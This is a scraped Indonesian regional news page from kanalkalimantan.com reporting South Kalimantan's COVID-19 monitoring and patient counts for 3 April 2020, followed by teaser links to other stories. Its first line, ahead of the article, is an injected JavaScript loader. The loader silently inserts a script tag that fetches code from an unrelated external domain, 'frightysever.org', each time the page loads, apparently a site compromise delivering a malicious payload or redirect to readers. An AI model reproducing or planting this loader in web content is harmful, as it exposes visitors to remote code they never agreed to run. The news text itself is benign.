(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tim Gugus Tugas P3 Covid-19 Kalimantan Selatan kembali merilis data terbaru jumlah Orang Dalam Pemantauan (ODP), Pasien Dalam Pengawasan (PDP), dan pasien positif Covid-19. Data per Jum’at (3/4/2020) pukul 17.00 Wita, ada terjadi penambahan dari jumlah ODP maupun PDP.
Untuk PDP Covid-19 di Kalsel bertambah 1 orang. Jika sebelumnya pada pagi tadi hanya berjumlah 5 orang, kini berubah menjadi 6 orang. Bertambahnya 1 orang berstatus PDP, diketahui berasal dari rujukan kota Banjarmasin
Penambahan satu PDP dari kota Banjarmasin tentu bukan hal yang mengejutkan. Pasalnya, kota Banjarmasin telah dinyatakan menjadi local transmission penyebaran Covid-19.
Bahkan, Wali Kota Banjarmasin, Ibnu Sina, tidak menampik bahwa fakta kasus-kasus terkonfirmasi positif Covid-19 berikutnya bukan lagi merupakan kasus dari luar (imported case) yang menginfeksi ke dalam kota Banjarmasin. Namun, saat ini sudah ada penularan dari dalam kota. “Ini yang harus kita jaga betul sehingga ada langkah yang luar biasa untuk kemudian membendung penyebaran virus Covid-19,†katanya.
Jika dirincikan untuk jumlah 6 PDP di Kalsel, 5 orang diantaranya berasal dari rujukan kota Banjarmasin. Sedangkan, sisanya 1 orang berasal dari Kabupaten Tabalong.
Sedangkan, untuk jumlah ODP, terjadi kenaikan sebanyak 3 orang. Yang mana pada pagi tadi awalnya hanya berjumlah 1.356 orang, kini berubah menjadi 1.359 orang.
Dalam hal ini, daerah yang menyandang jumlah ODP terbanyak di Kalsel adalah Kota Banjarbaru sebanyak 201 orang. Disusul oleh Kabupaten Tabalong sebanyak 171 orang dan Kabupaten Tanah Bumbu sebanyak 139 orang.
Kabar baiknya, sampai Jumat sore ini, jumlah pasien di Kalsel yang terpapar virus corona belum ada mengalami penambahan. Artinya, masih dengan jumlah yang sama yakni 8 orang. Diantaranya 4 orang dari rujukan Kota Banjarmasin, 3 orang dari Kabupaten Banjar, dan 1 orang dari Kabupaten Tabalong. Mereka yang terpapar virus corona saat ini tengah dirawat di Rumah Sakit Umum Daerah Ulin Banjarmasin. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
This website uses cookies.